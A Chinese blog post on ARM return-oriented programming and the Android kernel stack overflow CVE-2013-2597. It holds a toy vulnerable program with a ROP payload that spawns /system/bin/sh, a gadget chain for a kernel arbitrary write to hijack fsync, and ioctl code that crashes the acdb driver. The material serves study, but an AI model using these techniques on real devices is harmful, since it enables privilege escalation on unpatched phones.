一、准备

由于内核栈不可执行(NX),栈溢出利用需用到ROP。简单回顾一下ARM ROP。

漏洞演示代码如下,网上随便找了个。

char *str="/system/bin/sh";

void callsystem()
{
system("id");
} void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
} int main(int argc, char** argv) {
if (argc == 2 && strcmp("passwd", argv[1]) == 0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

vulnerable_function函数使用read从标准输入读数据到buf缓冲区,未校验拷贝长度导致栈溢出。分析其汇编代码:

.text:000083BC vulnerable_function                     ; CODE XREF: main+68p
.text:000083BC
.text:000083BC buf = -0x84
.text:000083BC
.text:000083BC STMFD SP!, {R11,LR}
.text:000083C0 ADD R11, SP, #4
.text:000083C4 SUB SP, SP, #0x80
.text:000083C8 SUB R3, R11, #-buf
.text:000083CC MOV R0, #0 ; fd
.text:000083D0 MOV R1, R3 ; buf
.text:000083D4 MOV R2, #0x100 ; nbytes
.text:000083D8 BL read
.text:000083DC SUB SP, R11, #4
.text:000083E0 LDMFD SP!, {R11,PC}
.text:000083E0 ; End of function vulnerable_function

首先LR,R11寄存器压栈,接着分配0x80即128字节的buf栈缓冲区。R3指向buf缓冲区底部。分别通过R0,R1,R2传递3个参数,(0, buf, 0x100【256】),调用read函数。最后恢复R11,并将函数开始时压栈的LR(保存的返回地址)弹出到PC。

其栈结构如下:


高 LR : 4Bytes | R11 : 4Bytes 低 buf : 128Bytes

因此通过 132*‘A’ + addr 即可修改LR为addr,即而控制PC寄存器。我们的exploit目标是通过system(“/system/bin/sh”)返回一个shell。

system()地址,与“/system/bin/sh”字符串地址都可以找到。但system()参数是id,需要修改R0寄存器,指向“/system/bin/sh”地址。

.text:000083A8                 ADD     R3, PC, R3 ; aId ; "id"
.text:000083AC MOV R0, R3 ; r0指向"id",目标是修改为指向"/system/bin/sh"
.text:000083B0 BL system

下面分析如何查找Gadgets。目前为止,我们能通过溢出控制程序的栈,要修改R0寄存器的值,我们需要 ldr r0 或 mov r0, sp + #xxx类似的指令,来从栈上取值。

当然这里考虑的是简单情况,像ldr r2mov r0, r2 等多条指令的组合都是符合要求的,我们使用ROPGadgets工具来查找Gadgets:https://github.com/JonathanSalwan/ROPgadget

注意的是,我们的程序编译的是Thumb指令集,需要查找Thumb的Gadgets:

zzhiyuan@ubuntu:~/Android_prj/ROP$ ROPgadget --binary=./bufferoverflow --thumb |grep "ldr r0, \[sp, "
...
0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000091c2 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} ; push {r3, lr} ; bl #0x91be ; pop {r3, pc}
0x00008872 : ldr r0, [sp, #0xc] ; adds r1, r4, #0 ; ldr r3, [r4, #0x10] ; blx r3
...
zzhiyuan@ubuntu:~/Android_prj/ROP$

下面是找到符合要求的Gadgets,它符合要求的原因是1)是可以通过栈上的值(sp, #0xc)修改r0寄存器。2)是可以利用栈上值进行程序跳转(pop {pc}):

0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}

接下来利用它,来布局我们控制的栈,完成利用。

找到“/system/bin/sh”与system地址:

.rodata:00009780 aSystemBinSh    DCB "/system/bin/sh",0
.plt:00008494 ; int system(const char *)
.plt:00008494 system ; CODE XREF: sub_94C4:loc_94C8j
.plt:00008494 ADR R12, 0x849C
.plt:00008498 ADD R12, R12, #0x2000
.plt:0000849C LDR PC, [R12,#(system_ptr - 0xA49C)]! ; __imp_system

plt是ELF的延迟绑定,其指令为ARM的,因此system函数地址为0x00008494 ,“/system/bin/sh”是Thumb下的地址需加1:0x00009781

看下溢出时,如何布局栈:

PoC构造如下:

*** ’A’x132 + 0x00008a03 + ’A’x12 + 0x00009781 + ’A’x4 + 0x00008494 ***

3处地址分别是:gadget addr , r0(system 参数), systemaddr

以下简单回顾完ARM上的ROP过程,与x86差不多,不过要注意处理Thumb还是ARM指令集。下面就分析CVE-2013-2597这个洞的exploit.

二、漏洞原理

CVE-2013-2597是一个内核态copy_from_user的栈溢出,拷贝长度size参数由用户态arg传入,且只校验了它非负,当传入大于MAX_IOCTL_DATA的值时,acdb_ioctl函数栈溢出。

uint32_t		data[MAX_IOCTL_DATA];
...
if (copy_from_user(&size, (void *) arg, sizeof(size))) { result = -EFAULT;
goto done;
}
...
if (size <= 0) {
pr_err("%s: Invalid size sent to driver: %d\n",
__func__, size);
result = -EFAULT;
goto done;
}
...
if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) { pr_err("%s: fail to copy table size %d\n", __func__, size);
result = -EFAULT;
goto done;
}

Patch很简单,只需校验用户传入长度小于data缓冲区大小:

	if ((size <= 0) || (size > sizeof(data))) {
pr_err("%s: Invalid size sent to driver: %d\n",
__func__, size);
result = -EFAULT;
goto done;
}

三、漏洞利用

战略性放弃。。网上只有fi01的利用介绍,但调试发现其汇编与我在Nexus 5上撸下来的内核里面的不一致,差异太大目前写不出相应的exploit。中文只有莫灰灰与申迪两篇,都是直接照抄翻译fi01的。

但还是可以简单学习下,其思路。

首先在代码中没有发现Canary,福音 :-p

通过构造一个全0的data数据,可以从内核crach log中得到寄存器的值 (/proc/last_kmsg)。

      <3>[  348.770486] ACDB=> ACDB ioctl not found!
<1>[ 348.770547] Unable to handle kernel NULL pointer dereference at virtual address 0000009c
<1>[ 348.770608] pgd = df18c000
<1>[ 348.770639] [0000009c] *pgd=9b727831, *pte=00000000, *ppte=00000000
<0>[ 348.770700] Internal error: Oops: 80000007 [#1] PREEMPT SMP
<4>[ 348.770761] Modules linked in:
<4>[ 348.770791] CPU: 0 Not tainted (3.0.8 #1)
<4>[ 348.770853] PC is at 0x9c
<4>[ 348.770883] LR is at acdb_ioctl+0x740/0x860
<4>[ 348.770944] pc : [<0000009c>] lr : [<c0137658>] psr: 60000013
<4>[ 348.770944] sp : ce513f28 ip : 00000000 fp : 00000098
<4>[ 348.771005] r10: 00000094 r9 : 00000090 r8 : 0000008c
<4>[ 348.771066] r7 : 00000088 r6 : 00000084 r5 : 00000080 r4 : 0000007c
<4>[ 348.771097] r3 : 00000000 r2 : ce513e74 r1 : c0973db8 r0 : 00000000
<4>[ 348.771158] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user

首先反汇编do_vfs_ioctl,并观察其返回:

c021d8fc: e2 8d d0 44           ADD     SP, SP, #0x44
c021d900: e8 bd 83 f0 LDMUW [SP], { R4-R9, PC }

它将sp+0x44,并恢复r4-r9和pc值,因此通过布局栈,可以控制这些值,其中r5与r9下面有用。

由以上panic的寄存器值可以发现,只要将栈上pc,即0x9c偏移处覆盖,就可以控制第一跳,跳到下面这里:

c0381b98: e5 89 50 00           STR     R5, [R9]
c0381b9c: e8 bd 87 f0 LDMUW [SP], { R4-R10, PC }

通过设置r5为shellcode地址,r9为内核fsync()符号地址,STR R5, [R9] 可以实现任意地址写的能力,这里非常巧妙的将栈溢出转为更容易利用的任意地址写任意值。

接着通过控制PC完成下一跳,跳到:

c0231b98: e2 8d d0 24           ADD     SP, SP, #0x24
c0231b9c: e8 bd 83 f0 LDMUW [SP], { R4-R9, PC }

这一步ADD SP, SP, #0x24为了完成栈平衡。通过下图帮助理解:

以上完成整个利用过程,并使do_vfs_ioctl正常返回不产生崩溃。

测试中,发现另一处内核Panic,不知道是不是0day?

[24953.996263] Unable to handle kernel paging request at virtual address ffffffee
[24953.996653] pgd = e9870000
[24953.996864] [ffffffee] *pgd=36beb821, *pte=00000000, *ppte=00000000
[24953.999564] Internal error: Oops: 17 [#1] PREEMPT SMP ARM
[24953.999804] CPU: 0 Not tainted (3.4.0-gd59db4e #1)
[24954.000206] PC is at ion_free+0x14/0xbc
[24954.000437] LR is at msm_audio_ion_import+0x130/0x1b8
[24954.000659] pc : [<c04a0340>] lr : [<c015c7a4>] psr: 60000013
[24954.000673] sp : d613fdd0 ip : d613fdf0 fp : d613fdec
[24954.001240] r10: c122a024 r9 : ed3793a0 r8 : 00000000
[24954.001625] r7 : 00000000 r6 : c0e0fab4 r5 : c13a8cb0 r4 : c13a8cac
[24954.001844] r3 : 19761abc r2 : 19761abc r1 : ffffffea r0 : dca15b00
[24954.002239] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
[24954.002630] Control: 10c5787d Table: 31c7006a DAC: 00000015

测试代码:

#define OVERFLOW_BUFFER_SIZE  0xc0

struct acdb_ioctl {
unsigned int size;
char data[OVERFLOW_BUFFER_SIZE];
}; int test1()
{
const char *device_name = "/dev/msm_acdb";
struct acdb_ioctl arg; int fd;
int ret; fd = open(device_name, O_RDONLY);
if (fd < 0) {
printf("failed to open %s due to %s.\n", device_name, strerror(errno));
return -1;
} arg.size = sizeof arg.data;
memset(&arg.data, 0x0, arg.size);
ret = ioctl(fd, 9999, &arg);
close(fd); return 0;
}

四、参考

  1. https://www.codeaurora.org/news/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597

  2. https://gist.github.com/fi01/6097436

  3. https://gist.github.com/fi01/5857693

  4. http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html

五、附录

1)运行ROPgadget时报错:ImportError: No module named _sqlite3

解决办法:

1-安装sqlite3


sudo apt-get install libsqlite3-dev

2-重新编译安装Pyton

进入解压的Python 2.7.6目录

./configure --enable-loadable-sqlite-extensions
make
make install

2)ROPgadget –binary=./bufferoverflow –thumb |grep “ldr r0” 找不到Gadgets

上面ROP回顾,开始直接使用arm-linux-androideabi-gcc交叉编译的,遇到这个问题。但使用ndk-build就OK了。原因没分析。

Android内核栈溢出与ROP(CVE-2013-2597)的更多相关文章

  1. Android内核漏洞利用技术实战:环境搭建&栈溢出实战

    前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...

  2. 编译Android内核 For nexus 5 以及绕过Android的反调试

    本文博客链接:http://blog.csdn.net/qq1084283172/article/details/54880488 前面的博客中已经记录了Nexus 5手机的Android 4.4.4 ...

  3. Android内核驱动程序的编写和编译过程

    注意:涉及的代码为android内核代码而不是android源码. 在智能手机时代,每个品牌的手机都有自己的个性特点.正是依靠这种与众不同的个性来吸引用户,营造品牌凝聚力和用户忠城度,典型的代表非ip ...

  4. Android内核sysfs中switch类使用实例

    Android内核sysfs中switch类使用实例 最终在这个周末,能够干点自己想要干的事了. 由我这个二流的内核驱动开发人员来解析一下sysfs中的switch类.先猜測一下来历,在普通的嵌入式L ...

  5. ------ 解析因内核栈溢出导致的 “double fault” 蓝屏 ------

    -------------------------------------------------------------------------- 前一篇指出 tail_recursivef_fac ...

  6. 《深入理解Android内核设计思想》

    <深入理解Android内核设计思想> 基本信息 作者: 林学森 出版社:人民邮电出版社 ISBN:9787115348418 上架时间:2014-4-25 出版日期:2014 年5月 开 ...

  7. 《深入理解Android内核设计思想》已陆续在全国各大书店及网上书店上市,感谢大家一直以来的支持~~

    <深入理解Android内核设计思想>已陆续在全国各大书店上市,电子书店也在陆续上架中(不断添加): 1. China-Pub 2. 京东 3. s=books&ie=UTF8&a ...

  8. Android内核和Linux内核的区别

    1.Android系统层面的底层是Linux,并且在中间加上了一个叫做Dalvik的Java虚拟机,从表面层看是Android运行库.每个Android应用都运行在自己的进程上,享有Dalvik虚拟机 ...

  9. 如何下载android源码与android内核源码

    首先,要分清楚,android的源代码和android的内核代码一般是分开的,要分别进行下载. 1.先下载android的源代码.(这里不包括android的内核代码)      下载最新的源代码,一 ...

随机推荐

  1. InnoDB存储引擎介绍-(4)Checkpoint机制一

    检查点的工作机制: innodb会自动维护一个检查点的机制,叫做 fuzzy checkpointing(当然sharp checkpoint也是检查点之一),fuzzy checkpointing就 ...

  2. js向一个数组中插入元素的几个方法-性能比较

    向一个数组中插入元素是平时很常见的一件事情.你可以使用push在数组尾部插入元素,可以用unshift在数组头部插入元素,也可以用splice在数组中间插入元素. 但是这些已知的方法,并不意味着没有更 ...

  3. MySql(七)多表查询

    十一.多表查询 新建两张表:部门表(department).员工表(employee) create table department( id int, name varchar(20) ); cre ...

  4. AWVS和AppScan使用代理进行扫描教程

    一.说明 扫描网站时,一是可能某些网站网络不能直接访问,二是可能不想曝露本机IP.这时要进行处理. 第一个方法是如果有vpn直接登vpn,vpn的话由于是直接修改操作系统层次的网络,扫描器不需要额外做 ...

  5. servlet/和/*匹配的区别

    两者真正的区别是,两者的长度不同,根据最长路径匹配的优先级,/*比/更容易被选中,而/的真正含义是,缺省匹配.既所有的URL都无法被选中的时候,就一定会选中/,可见它的优先级是最低的,这就两者的区别.

  6. spring cloud jwt用户鉴权及服务鉴权

    用户鉴权 客户端请求服务时,根据提交的token获取用户信息,看是否有用户信息及用户信息是否正确 服务鉴权 微服务中,一般有多个服务,服务与服务之间相互调用时,有的服务接口比较敏感,比如资金服务,不允 ...

  7. xubuntu无法进图形界面问题

    http://www.ubuntugeek.com/fix-for-cant-login-after-upgrading-from-ubuntu-13-04-to-ubuntu-13-10.html ...

  8. export及export default

    const a=2; const b=3; const c=function(){console.log(a+b} export a; export b; export default c; 如上文件 ...

  9. day12 生成器和各种推导式

    今天主要学习了 1.生成器 2.生成器函数 3.各种推导式(比较诡异,理解了很简单,不理解很难) 4.生成器表达式(重点) 一.生成器 def func(): print'我叫周润发' return ...

  10. JNA调用DLL(入门):让你一眼就学会

    DLL(Dynamic Link Library)文件,是基于C语言的动态链接库文件,就是一些封装好的方法,打成dll格式包,供别人调用 JNA是一种能够使Java语言使调用DLL的一种技术, 首先, ...